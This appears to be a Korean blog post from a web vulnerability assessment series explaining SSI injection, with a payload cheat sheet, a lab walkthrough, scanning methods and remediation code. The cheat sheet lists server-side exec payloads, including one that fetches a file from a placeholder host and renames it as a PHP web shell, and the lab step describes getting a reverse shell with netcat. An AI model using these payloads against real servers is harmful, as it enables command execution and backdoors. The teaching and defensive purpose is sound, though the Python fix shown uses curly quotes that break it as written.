■ 개요
- SSI(Server Side Includes)는 HTML 페이지에 사용하는 지시어로, SSI를 사용하면 CGI 프로그램이나 다른 동적인 기술로 페이지 전체를 만들어서 서비스하지 않고도 HTML 페이지에 동적으로 생성한 내용을 추가할 수 있다.
- 보통 방문자 수, 조회 수 등의 동적인 내용을 추가할 때 사용
- SSI를 사용하는 웹 사이트는 .shtml, .stm, shtm 파일을 사용하는데, 공격자는 악의적인 목적으로 SSI 지시어를 인젝션하여 중요 파일 탈취, 악성파일 삽입 등이 가능한 공격
- 주요정보통신기반시설 웹 취약점 진단 기준으로 06. SSI 인젝션에 해당
■ SSI(Server Side Includes)란?
- SSI는 간단한 서버 사이드 스크립트 언어로, #include 지시문을 사용하여 하나 이상의 파일 내용을 웹 서버의 웹 페이지에 포함하는 데 사용되며, 보통 다운로드 전 파일 크기나 현재 문서의 마지막 수정 날짜를 표시하는데 자주 사용된다.
■ SSI Injection이란?
- 시스템 권한을 가지지 못한 일반 사용자도 시스템 명령을 삽입할 수 있는 취약점을 이용하여, 공격자는 웹 서버 상에 있는 파일을 include 시켜 명령문을 실행시켜 불법적으로 데이터에 접근 또는 백도어 연결 등을 수행할 수 있다.
■ SSI Injection Cheat Sheat
예시 |
<!--#exec cmd="ls" --> |
<!--#exec cmd="cd /root/dir/"> |
<!--#exec cmd="wget http://[URL]/shell.txt | rename shell.txt shell.php" --> |
<!--#exec cmd="dir" --> |
<!--#exec cmd="cd C:\admin\dir"> |
■ 실습1 (난이도 : 하)
1. SSI Injection으로 이동 후 First name, Last name에 문자열 값 입력 시, 접속한 사용자 IP 출력 확인
2. 입력란에 SSI 인젝션 시도 시, 정상적으로 명령어 동작 확인
※ 명령어 : <!--#echo var="DATE_LOCAL" -->
3. 리버스 쉘 획득을 위해 netcat 명령어 입력 시, 리버스 쉘 권한 획득 확인
■ SSI Injection 점검 방법
① 수동 점검
- 웹사이트의 사용자 인수 값을 입력받은 애플리케이션에 SSI 인젝션 Cheat Sheet 입력 후, 에러 페이지 또는 특이사항이 발생하는지 확인
② 자동화 도구를 통한 점검
- 자동화 도구(Ex, Burp Suite Pro, Acunetix 등)를 사용하여 점검하고자 하는 사이트에 운영체제 명령 실행 취약 여부 점검
- 아래 예시는 Burp Suite에서 제공하는 Active Scan을 예시로 들었으며, 자세한 사항은 하기 링크 참조
■ 조치 방법
1. 시큐어코딩을 통해 특수문자 이스케이프 처리
import subprocess
from django.shortcuts import render
def execute_command(request):
date = request.POST.get(‘date’,“)
# 명령어를 추가로 실행 또는 또 다른 명령이 실행될 수 있는 키워드에 대한 예외처리
for word in [‘|’, ‘;’, ‘&’, ‘:’, ‘>’, ‘<’, ‘“, ’\\’, ‘!’]:
date = date.replace(word, “”)
# shell=True 옵션은 제거하고 명령과 인자를 배열로 입력
subprocess.run([“cmd”, “/c”, “backuplog.bat”, date])
return render(request, ‘/success.html’)
2. HTML에서 htmlspecialchars() 함수를 사용하여 특수문자를 이스케이프 처리
function a($var) // 입력 받은 특수문자를 이스케이프 처리
{
if (is_array($var)) {
return array_map(‘a’, $var);
} else {
return htmlspecialchars($var, ENT_QUOTES, ‘UTF-8’);
}
'모의해킹&웹취약점진단 > 주•통기반 웹 취약점 점검' 카테고리의 다른 글
09. 정보 누출 (2) | 2023.12.01 |
---|---|
07. XPath 인젝션 (0) | 2023.10.19 |
05. SQL Injection (1) | 2023.10.19 |
01. buffer overflow 취약점 (0) | 2023.10.12 |
04. 운영체제 명령 실행 취약점 (0) | 2023.09.19 |